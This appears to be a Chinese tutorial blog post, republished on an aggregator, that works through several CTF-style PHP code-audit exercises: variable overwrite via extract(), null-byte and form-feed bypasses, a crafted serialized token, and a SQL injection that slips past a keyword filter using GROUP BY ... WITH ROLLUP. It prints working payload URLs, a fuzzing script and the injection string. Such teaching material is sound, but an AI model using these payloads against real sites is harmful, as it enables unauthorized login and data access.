PHP代码审计系列(一)

article/2025/10/9 20:46:22

PHP代码审计系列(一)

本系列将收集多个PHP代码安全审计项目从易到难,并加入个人详细的源码解读。此系列将进行持续更新。

extract变量覆盖

源码如下

<?php$flag='extractFlag.txt'; 
extract($_GET);if(isset($shiyan)){ $content=trim(file_get_contents($flag));echo $content;if($shiyan==$content){ echo'ctf{xxx}'; }else{ echo'Oh.no';} }?>

在代码中主要使用了extract函数与file_get_contents函数

在RUNOOB给出的extract函数实例是:

将键值 “Cat”、“Dog” 和 “Horse” 赋值给变量 $a、$b 和 $c:

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

运行结果

$a = Cat; $b = Dog; $c = Horse 

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

在RUNOOB给出的file_get_contents函数实例是:

<?php
echo file_get_contents("test.txt");
?> 

运行结果

This is a test file with test text. 

file_get_contents() 把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

利用:

利用extract的语法特性使shiyan变量等于flag就可以了

http://localhost/phpbugs/01extract.php?shiyan=&flag
http://localhost/phpbugs/01extract.php?shiyan=&flag=1

绕过过滤的空白字符

源码如下

<?php$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告if(!isset($_GET['number'])){header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txtdie("have a fun!!"); //die — 等同于 exit()}foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 foreach($global_var as $key => $value) { $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串} 
} function is_palindrome_number($number) { $number = strval($number); //strval — 获取变量的字符串值$i = 0; $j = strlen($number) - 1; //strlen — 获取字符串长度while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; 
} if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
{$info="sorry, you cann't input a number!";}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{$info = "number must be equal to it's integer!! ";  }
else
{$value1 = intval($req["number"]);$value2 = intval(strrev($req["number"]));  //字符串反转if($value1!=$value2){$info="no, this is not a palindrome number!";}else{if(is_palindrome_number($req["number"])){$info = "nice! {$value1} is a palindrome number!"; }else{$info=$flag;}}}echo $info;

通读代码逻辑如下

首先会判断提交的$_GET数组是否存在number字段,若不存在直接终止当前脚本

然后会遍历$_GET与$_POST数组,若value是字符串将对value进行处理后保存到$req数组

之后会判断提交的number是数字或数字字符串都会终止

判断number若不是整数则终止

接下来会取出number对应的字符串,如果字符串反转后不相等则终止

然后调用is_palindrome_number函数,从字符串的首尾进行遍历判断是否都相等

若不等则输出真正的flag

经过分析需要做其实一共就三件事:

1.绕过number数字判断并输入整数

2.成功通过字符串反转相等的校验

3.避开is_palindrome_number函数的相等校验

针对1我们可以利用%00截断符进行绕过

在这里插入图片描述

针对2、3我们可以使用\f换页符(%0C)或者+(%2B)进行绕过

因为intval和is_numeric都会忽略这两个个字符,因为字符串首末遍历不相等又成功绕过is_palindrome_number

同时也可以写脚本fuzz出%0C或%2B进行绕过

import requestsfor i in range(256):rq = requests.get("http://127.0.0.1/phpbugs/02.php?number=%s121"%("%00"+"%%%02X"%i))if 'x' in rq.text:print ("%%%02X" % i)

在这里插入图片描述

最后结果
在这里插入图片描述

多重加密

ps:这题官方给的答案是错的,网上给的也是错的,麻烦别直接拿给的答案来抄好吗?大家不要被误导了

源码如下:

<?phpinclude 'common.php';$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);//把一个或多个数组合并为一个数组class db{public $where;function __wakeup(){if(!empty($this->where)){$this->select($this->where);}}function select($where){$sql = mysql_query('select * from user where '.$where);//函数执行一条 MySQL 查询。return @mysql_fetch_array($sql);//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false}}if(isset($requset['token']))//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。{$login = unserialize(gzuncompress(base64_decode($requset['token'])));//gzuncompress:进行字符串压缩//unserialize: 将已序列化的字符串还原回 PHP 的值$db = new db();$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。if($login['user'] === 'ichunqiu'){echo $flag;}else if($row['pass'] !== $login['pass']){echo 'unserialize injection!!';}else{echo "(╯‵□′)╯︵┴─┴ ";}}else{header('Location: index.php?error=1');}?> 

通读代码逻辑如下:

首先是将$_GET,$_POST,$_SESSION,$_COOKIE合并为一个数组$request

然后有一个db类,它会判断类中的变量where是否为空,若不为空则调用select方法根据where条件进行查询user表返回一个数组

然后判断$request数组中是否有存在token,若不存在直接返回index.php报错,若存在则先对该值进行base64加密(base64_decode),再进行字符串压缩(gzuncompress),再进行反序列化(unserialize)最后赋值给$login

之后取出$_login中的user作为where条件user=$login[user]通过db的select进行查询结果赋值给$row

如果$login[user]与ichunqiu字符串完全相等则输出flag(成功结果),若$row[pass]不等于$login[pass]则输出反序列化失败,其他情况则输出一段字符串

需要我们做的其实就是:

反解密ichunqiu,然后提交token就可以了

网上的错误答案:

<?php$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);?>

麻烦自己打印下看看真的相等吗

print($arr['user'] === 'ichunqiu');

正确答案:

<?php$login = array('user' => "ichunqiu");
$token = base64_encode(gzcompress(serialize($login)));
print($token);
echo '</br>';
print($login['user'] === 'ichunqiu');

在这里插入图片描述

结果验证:

因为这题代码和数据库没给完整,为了验证结果简化代码如下

<?php$requset = array_merge($_GET);$flag = "xxxxxx";if(isset($requset['token'])){$login = unserialize(gzuncompress(base64_decode($requset['token'])));if($login['user'] === 'ichunqiu'){echo $flag;}else{echo "(╯‵□′)╯︵┴─┴ ";}}else{header('Location: index.php?error=1');}?> 

错误答案获得的token

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

在这里插入图片描述

正确答案获得的token

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

在这里插入图片描述

SQL注入_WITH ROLLUP绕过

源码如下

<?php
error_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {echo '<form action="" method="post">'."<br/>";echo '<input name="uname" type="text"/>'."<br/>";echo '<input name="pwd" type="text"/>'."<br/>";echo '<input type="submit" />'."<br/>";echo '</form>'."<br/>";echo '<!--source: source.txt-->'."<br/>";die;
}function AttackFilter($StrKey,$StrValue,$ArrReq){  if (is_array($StrValue)){//检测变量是否是数组$StrValue=implode($StrValue);//返回由数组元素组合成的字符串}if (preg_match("/".$ArrReq."/is",$StrValue)==1){   //匹配成功一次后就会停止匹配print "水可载舟,亦可赛艇!";exit();}
}$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ //遍历数组AttackFilter($key,$value,$filter);
}$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);//设置活动的 MySQL 数据库$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); //执行一条 MySQL 查询if (mysql_num_rows($query) == 1) { //返回结果集中行的数目$key = mysql_fetch_array($query);//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 falseif($key['pwd'] == $_POST['pwd']) {print "CTF{XXXXXX}";}else{print "亦可赛艇!";}
}else{print "一颗赛艇!";
}
mysql_close($con);
?>

通读代码逻辑如下:

首先是写了一个表单POST提交uname与pwd

接下来遍历$_POST数组调用AttackFilter方法,传入key:value参数与filter

AttackFilter会首先判断传入的value是不是数组,若为数组则将多个元素合成一个字符串重新赋值给传入的value

然后对value进行正则匹配匹配规则为filter,如果匹配成功脚本停止

在之后会连接数据库,根据提交的uname进行查询

如果返回结果集中行的数目等于1,则返回从结果集取得的行生成的数组key

如果数组key中的pwd字段等于表单提交的pwd字段则获得flag其他情况均失败

我们需要做的其实就是:

1.绕过filter

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"

2.使表单提交的pwd等于查询到返回的pwd

SQL语句:

SELECT * FROM interest WHERE uname = '{$_POST['uname']}'

进行绕过

SELECT * FROM interest WHERE uname = 'admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'

在这里插入图片描述

也就是说使用以下语句登录用户时,密码为空就可以成功绕过

admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'

在这里插入图片描述

在这里插入图片描述

此题需要了解的SQL主要是以下这段SQL

WITH ROLLUP LIMIT 1 OFFSET 1

首先是WITH ROLLUP,用在group up后会统计所有结果并返回NULL

在这里插入图片描述

再看LIMIT 1 OFFSET 1,是取一条数据从第一条数据后开始取,也就是取第二条数据

在这里插入图片描述

等同于LIMIT 1,1,但因为过滤了,所以用OFFSET来进行绕过

ereg正则%00截断

源码如下

<?php $flag = "flag";if (isset ($_GET['password'])) 
{if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){echo '<p>You password must be alphanumeric</p>';}else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置{die('Flag: ' . $flag);}else{echo('<p>*-* have not been found</p>'); }}else {echo '<p>Invalid password</p>'; }} 
?>

通读代码逻辑如下:

首先判断是否存在GET请求的password字段,如果存在继续进行

然后对password进行正则匹配如果password是大小写字母或数字则进行否则输出停止

然后对password的长度进行判断,如果长度小于8数值大于9999999则继续进行

之后利用strops函数查找* - *在字符串中首次出现的位置,如果找到了则输出flag

我们需要做的:

1.password使用大小写字母及数字

2.password长度小于8 数值大于9999999

3.password中存在* - *

这里面的条件都是互相矛盾的,在满足1的条件下条件2用科学计数法1e7也就是10的7次方进行绕过。条件2利用ereg的00%截断符进行绕过,经过分析payload如下

?password=1e7%00*-*

在这里插入图片描述


http://chatgpt.dhexx.cn/article/cQ474iHh.shtml

相关文章

php代码审计学习-baijiacms v4

php代码审计学习&#xff08;baijiacms v4代码审计-system任意命令执行&#xff09; 文章目录 前言一、危险函数查找二、访问测试三、 构造 payload&#xff0c;触发漏洞总结 前言 最近及将来一段时间都会利用空闲的时间学习PHP代码审计 记录代码审计学习过程&#xff0c;最近…

PHP代码审计之基础篇

最近在学PHP代码审计&#xff0c;那就将学习的笔记都整理一遍吧~ 前期准备&#xff1a; 当然&#xff0c;最基本的前提是至少大致学过PHP的语法。 1、安装相关软件&#xff0c;如Sublime text、 Notepad、editplus、 Seay源代码审计系统等 2、获得源码&#xff0c;可以到网上…

PHP代码审计-2

Fortify扫出来个反序列化&#xff0c;来看看吧 PHP反序列化用到的函数无非就是unserialize()、serialize()在unserialize()前会先调用__wakeup()方法&#xff0c;再看看在__wakeup()在哪&#x1f447; 来看看 load() 这个函数是干啥的&#x1f447;再来看看 getSource() 这个函…

【PHP代码审计】ThinkPHP代码审计

目录 0x001 开发方式0x002 审计流程1&#xff09;启用调试开关2&#xff09;版本查看3&#xff09;定位函数4&#xff09;测试是否存在漏洞5&#xff09;版本自身漏洞 0x001 开发方式 在审计源码时根据不同的开发方式对应不同的审计方法。 自写&#xff1a;有的站点虽然使用了…

PHP代码审计敏感函数合集

PHP代码审计 通常去代码审计的时候基本是正则的挖掘思路 通常代码审计的话&#xff0c;大部分就是通过关键的函数&#xff0c;和关键的变量去审计 ​ ​ 敏感函数 PHP操作数据库函数 mysqli_connect() //建立与MySQL数据库的连接 mysqli_connect_errno() //判断连接数…

代码审计思路之PHP代码审计

000 前言 最近也是边挖src边审计代码&#xff0c;总结下最近的php代码审计的一些思路&#xff0c;我一般按照顺序往下做&#xff0c;限于能力水平&#xff0c;可能会有不对或者欠缺的地方&#xff0c;希望各位师傅能够指导。 001 前期工作,需要的工具&#xff08;我使用的) …

PHP代码审计 -- 文件上传

工具&环境 工具&#xff1a;Seay源代码审计系统&#xff0c;文本编辑器一个 环境&#xff1a;phpstudy&#xff0c;网站源码是 zbzcms步骤 1&#xff0c; 将zbzcms网站源码放入phpstudy&#xff0c;根据网站安装引导完成网站搭建&#xff1b; 2&#xff0c;打开Seay&…

PHP代码审计

代码审计顾名思义就是检查源代码中的缺点和错误信息&#xff0c;分析并找到这些问题引发的安全漏洞&#xff0c;并提供代码修订措施和建议。 PHP代码审计 审计套路 通读全文法 (麻烦&#xff0c;但是最全面) 敏感函数参数回溯法 (最高效&#xff0c;最常用) 定向…

【PHP代码审计】——开启你的代码审计生涯

作者名&#xff1a;Demo不是emo 主页面链接&#xff1a;主页传送门创作初心&#xff1a;舞台再大&#xff0c;你不上台&#xff0c;永远是观众&#xff0c;没人会关心你努不努力&#xff0c;摔的痛不痛&#xff0c;他们只会看你最后站在什么位置&#xff0c;然后羡慕或鄙夷座右…

【代码审计】--- php代码审计方法

代码审计需要掌握的点 PHP编程语言的特性和基础Web前端编程基础漏洞形成原理代码审计思路不同系统、中间件之间的特性差异 代码审计思路 方法一 ---- 检查敏感函数的参数&#xff0c;然后回溯变量&#xff0c;判断变量是否可控&#xff0c;并且有没有经过严格的过滤&#xf…

DAY31:代码审计基础( PHP 篇)

DAY31&#xff1a;代码审计基础( PHP 篇) 1、PHP 代码审计基础 1.1、代码审计概述 ​ 代码审计&#xff08;Code audit&#xff09;是一种以发现程序错误&#xff0c;安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析&#xff0c;旨在…

PHP代码审计(全)

前言 官方文档&#xff1a;php.net php官方文档是非常详情&#xff0c;好用的&#xff0c;在遇到不清楚作用的函数时可以进行查询 白盒测试做代码审计最主要的知识是要去了解一个漏洞应该有哪些防御方式&#xff0c;因为大部分的漏洞都是因为修复没有做的全面&#xff0c;或…

PHP代码审计——PHP中常见的敏感函数列表

文章目录 前言一、PHP中的敏感函数——命令注入漏洞 1&#xff09;exec() 2&#xff09;system () 3&#xff09;passthru () 4&#xff09;shell_exec () 5&#xff09;popen() **/** proc_open() 二、PHP中的敏感函数——代码注入漏洞 1&#xff09;…

Idea快速选中一行的四种方式

一、鼠标连续点三下 二、end键将光标移到行尾 &#xff0c; ctrlw 选中行 三、end键将光标移到行尾 &#xff0c; shift home 选中行 四、home 键 光标移到行首、然后 点击shift end

Xcode快捷键修改 复制一行、删除一行

快速目录 Xcode快捷键修改 复制一行、删除一行0.移动选中行1.修改权限2.修改快捷键配置文件复制一行删除一行 3.设置修改Xcode快捷键4.其它注意参看 Xcode快捷键修改 复制一行、删除一行 主要是用Android Studio 开发习惯了&#xff0c;在Xcode上又没有&#xff0c;比如复制当…

竖行选中快捷键

今天选中代码时需要竖行选中&#xff0c;就回顾了一下竖行选中的快捷键 这是个很实用的快捷键。 在myeclipse中竖行选中是AltShiftA&#xff0c;进入竖行选中状态&#xff0c;按Esc退出 在idea中竖行选中的快捷键是Alt鼠标选中

idea 删除当一行或者选中行的快捷键

之前前端开发一直使用VSCode&#xff0c;常用快捷键删除一行或者当前选中的几行代码&#xff0c;使用idea的时候发现快捷键并不相同&#xff0c;查看发现idea的快捷是&#xff1a;Ctrl Y&#xff0c;比手动删除代码方便很多。 通过File->Setttings->Keymap可以查看已经…

java开发银行柜员业务绩效考核系统

导读:当今社会己进入信息社会时代,信息己经受到社会的广泛关注,被看作社会和科学技术发展的三大支柱(材料、能源、信息)之一。信息是管理的基础,是进行决策的的基本依据。在一个组织里,信息己作为人力、物力、财力之外的第四种能源,占有重要的地位。然而,信息是一种非…

Python模拟银行管理系统(面向对象)# 谭子

一、系统需求说明 本项目计划实现一个银行管理系统&#xff0c;包括开户、查询、取款、存款、转账、锁定、解锁和退出功能。 银行管理系统一览表 序号 模块 子模块 说明 1 菜单模块 显示菜单 验证管理员身份&#xff0c;显示功能菜单 2 开户模块 注册&#xff0c;生…

核心银行系统 之一 历史与发展

核心银行系统是银行信息系统中实现客户关系管理、产品与服务、业务流程、财务核算与管理、风险管控、辅助管理与决策等银行业务最核心功能的系统&#xff0c;是银行信息系统的基础和核心。 核心银行系统的英文名字 CORE Banking System&#xff0c;其中CORE是Centralized Onli…